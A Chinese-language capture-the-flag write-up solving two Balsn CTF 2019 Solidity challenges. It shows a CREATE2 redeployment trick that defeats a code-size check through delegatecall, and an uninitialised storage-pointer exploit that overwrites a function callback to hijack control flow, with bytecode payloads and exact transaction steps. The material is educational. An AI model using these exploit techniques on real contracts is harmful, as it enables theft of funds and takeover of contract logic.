前言
balsn ctf 2019 的两道 smart contract 的题目,相关题目 repo:https://github.com/x9453/balsn-ctf-2019
2020 年了,还在复现 2019 年的题目,太菜了(T_T)
Creativity
题目源码:
pragma solidity ^0.5.10;
contract Creativity {
event SendFlag(address addr);
address public target;
uint randomNumber = 0;
function check(address _addr) public {
uint size;
assembly { size := extcodesize(_addr) }
require(size > 0 && size <= 4);
target = _addr;
}
function execute() public {
require(target != address(0));
target.delegatecall(abi.encodeWithSignature(""));
selfdestruct(address(0));
}
function sendFlag() public payable {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
}
}
用于复现的合约地址 ropsten@0x38493CC64406DDcCC9Df7B28D8eFA4DcCCB0345F
题目分析
本题的核心目的是触发 SendFlag
,但很明显 sendFlag()
函数是无法正常调用的,因为 msg.value >= 100000000 ether
这个条件几乎无法满足,所以只能采用另一种思路,利用 delegatecall
的上下文特性来触发 SendFlag
事件。
此时需要满足的条件是:
- 部署一个合约,合约代码大小不超过4字节
- 通过调用
check()
函数,将target
赋值为我们的合约地址 - 调用
execute
函数,通过对我们的合约调用degelatecall
进而触发SendFlag
本题的考点是 create2
的 trick,简单来说就是 create2
和 create
计算合约地址的不同,这使得可以利用 create2
在同一个地址上先后部署不同的合约。
这是出题人给的 PoC,通过 deploy
可以将不同合约代码部署到同一个地址上:
pragma solidity ^0.5.10;
contract Deployer {
bytes public deployBytecode;
address public deployedAddr;
function deploy(bytes memory code) public {
deployBytecode = code;
address a;
// Compile Dumper to get this bytecode
bytes memory dumperBytecode = hex'6080604052348015600f57600080fd5b50600033905060608173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b158015605c57600080fd5b505afa158015606f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506020811015609857600080fd5b81019080805164010000000081111560af57600080fd5b8281019050602081018481111560c457600080fd5b815185600182028301116401000000008211171560e057600080fd5b50509291905050509050805160208201f3fe';
assembly {
a := create2(callvalue, add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453)
}
deployedAddr = a;
}
}
contract Dumper {
constructor() public {
Deployer dp = Deployer(msg.sender);
bytes memory bytecode = dp.deployBytecode();
assembly {
return (add(bytecode, 0x20), mload(bytecode))
}
}
}
那么剩下的步骤就相对简单了:
-
deploy(0x33ff)
,部署合约为selfdestruct(msg.sender)
,合约地址为 0x90B5B5df0d133be8c6420B1d8896C214D59bA9EB -
调用
check()
使其通过合约大小 4 字节的校验 -
发送交易,触发合约自毁
web3.eth.sendTransaction({to: "0x90B5B5df0d133be8c6420B1d8896C214D59bA9EB", data: "" }, function(err,res){console.log(res)});
-
deploy(0x6080604052348015600f57600080fd5b507f2d3bd82a572c860ef85a36e8d4873a9deed3f76b9fddbf13fbe4fe8a97c4a57932604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a13273ffffffffffffffffffffffffffffffffffffffff16fffea265627a7a7230582076ed0548fcb15acaeee3e64c098e0253cb7cf70c7fd668366820c47db0467a5b64736f6c634300050a0032)
,对应的合约代码为:contract Solve { event SendFlag(address addr); function() external { emit SendFlag(tx.origin); selfdestruct(tx.origin); } }
此时新的合约代码已经被部署到相同的地址上了:
-
调用
execute()
,成功触发SendFlag
事件:
Bank
题目源码:
pragma solidity ^0.4.24;
contract Bank {
event SendEther(address addr);
event SendFlag(address addr);
address public owner;
uint randomNumber = 0;
constructor() public {
owner = msg.sender;
}
struct SafeBox {
bool done;
function(uint, bytes12) internal callback;
bytes12 hash;
uint value;
}
SafeBox[] safeboxes;
struct FailedAttempt {
uint idx;
uint time;
bytes12 triedPass;
address origin;
}
mapping(address => FailedAttempt[]) failedLogs;
modifier onlyPass(uint idx, bytes12 pass) {
if (bytes12(sha3(pass)) != safeboxes[idx].hash) {
FailedAttempt info;
info.idx = idx;
info.time = now;
info.triedPass = pass;
info.origin = tx.origin;
failedLogs[msg.sender].push(info);
}
else {
_;
}
}
function deposit(bytes12 hash) payable public returns(uint) {
SafeBox box;
box.done = false;
box.hash = hash;
box.value = msg.value;
if (msg.sender == owner) {
box.callback = sendFlag;
}
else {
require(msg.value >= 1 ether);
box.value -= 0.01 ether;
box.callback = sendEther;
}
safeboxes.push(box);
return safeboxes.length-1;
}
function withdraw(uint idx, bytes12 pass) public payable {
SafeBox box = safeboxes[idx];
require(!box.done);
box.callback(idx, pass);
box.done = true;
}
function sendEther(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
msg.sender.transfer(safeboxes[idx].value);
emit SendEther(msg.sender);
}
function sendFlag(uint idx, bytes12 pass) internal onlyPass(idx, pass) {
require(msg.value >= 100000000 ether);
emit SendFlag(msg.sender);
selfdestruct(owner);
}
}
用于复现的合约:ropsten@0xc6fef6a5c43e661fafdfa8a68983c4000d86d86d
EVM 变量存储规则
以下面这段合约为例:
contract C {
address a;
uint r;
uint[] b;
mapping(uint => uint) m;
constructor() public {
a = msg.sender;
r = 777;
b.push(333);
b.push(444);
m[999] = 888;
}
}
数组 b 的第一个元素位置在 keccak256(2)
,即 slot[keccak256(2)+0]
存储 333, slot[keccak256(2)+1]
存储 444;而映射 m[k] 存储在 slot[keccak256(k.3)]
,即 slot[keccak256(999.3)]
存储的是 888。
可以利用以下函数来分别获取 slot
上存储的内容,mapping
内容对应 slot
、数组第一个元素对应的 slot
:
function read_slot(uint k) public view returns (bytes32 res) {
assembly { res := sload(k) }
}
function cal_addr(uint k, uint p) public pure returns(bytes32 res) {
res = keccak256(abi.encodePacked(k, p));
}
function cal_addr(uint p) public pure returns(bytes32 res) {
res = keccak256(abi.encodePacked(p));
}
题目分析
本题考点在于未初始化变量漏洞,以及数组、映射在 EVM 中的存储方式,以及如何控制程序执行流。
首先这是合约的变量存储布局:
-----------------------------------------------------
| unused (12) | owner (20) | <- slot 0
-----------------------------------------------------
| randomNumber (32) | <- slot 1
-----------------------------------------------------
| safeboxes.length (32) | <- slot 2
-----------------------------------------------------
| occupied by failedLogs but unused (32) | <- slot 3
-----------------------------------------------------
这是 FailedAttempt
结构的存储布局:
-----------------------------------------------------
| idx (32) |
-----------------------------------------------------
| time (32) |
-----------------------------------------------------
| origin (20) | triedPass (12) |
-----------------------------------------------------
这是 SafeBox
结构的存储布局:
-----------------------------------------------------
| unused (15) | hash (12) | callback (4) | done (1) |
-----------------------------------------------------
| value (32) |
-----------------------------------------------------
可以看到即使是利用了 deposit(0)
中的未初始化漏洞来修改 owner
,也会被 sendFlag
函数的 require(msg.value >= 100000000 ether)
条件限制,所以这里不能直接直接调用,那么另一种的调用思路就是利用未初始化变量来劫持控制流进而直接触发 SendFlag
事件。
这里再介绍一下 EVM 是如何执行函数的,在 EVM 中所有的合约内部函数执行都表示为一个 JUMP
指令,而且跳转只能跳转以 JUMPDEST
开始的地方,查看 sendFlag()
对应的字节码:
可以看到 06F5
是函数的入口,再下面的 070F
则是 emit SendFlag()
调用的入口,因此如果能劫持相应的控制流使其直接跳转到这里,就能成功触发 SendFlag()
事件。
因此解题的思路如下:
- 利用
tx.origin
和triedPass
覆盖 slot 2,即safeboxes
的长度。如果tx.origin
足够大,此时safeboxes
的长度可以覆盖failedLogs
- 当
safeboxes
的长度可以覆盖failedLogs
时,利用triedPass
来覆盖callback
进而控制程序的执行流 - 将
callback
修改为0000070f
,然后利用withdraw()
触发callback
函数的执行,即可顺利获得 flag
详细的 exp 不再赘述,这里贴一下作者的 wp 以及我在过程中用于计算的代码:
- Calculate
target = keccak256(keccak256(msg.sender||3)) + 2
.- Calculate
base = keccak256(2)
.- Calculate
idx = (target - base) // 2
.- If
(target - base) % 2 == 1
, thenidx += 2
, and do step 6 and 7 twice. The two chosen indices in step 7 should be 0 and 1 respectively. This happens when thetriedPass
of the first element offailedLogs
does not overlap with thecallback
variable, so we choose the second element instead.- If
(msg.sender << (12*8)) < idx
, then choose another player account, and restart from step 1. This happens when the overwritten length ofsafeboxes
is not large enough to overlap withfailedLogs
.- Call
deposit(0x000000000000000000000000)
with 1 ether.- Call
withdraw(0, 0x111111111111110000070f00)
.- Call
withdraw(idx, 0x000000000000000000000000)
, and theSendFlag
event will be emitted.
pragma solidity ^0.4.24;
contract Solve {
bytes32 public tmp;
bytes32 public target;
bytes32 public base;
bytes32 public index;
constructor(address _addr) public {
tmp = keccak256(uint(_addr), uint(3));
target = bytes32(uint(keccak256(uint(tmp))) + 2);
base = keccak256(abi.encodePacked(uint(0x2)));
index = bytes32((uint(target) - uint(base)) / 2);
}
}
调用成功后,成功触发 SendFlag
: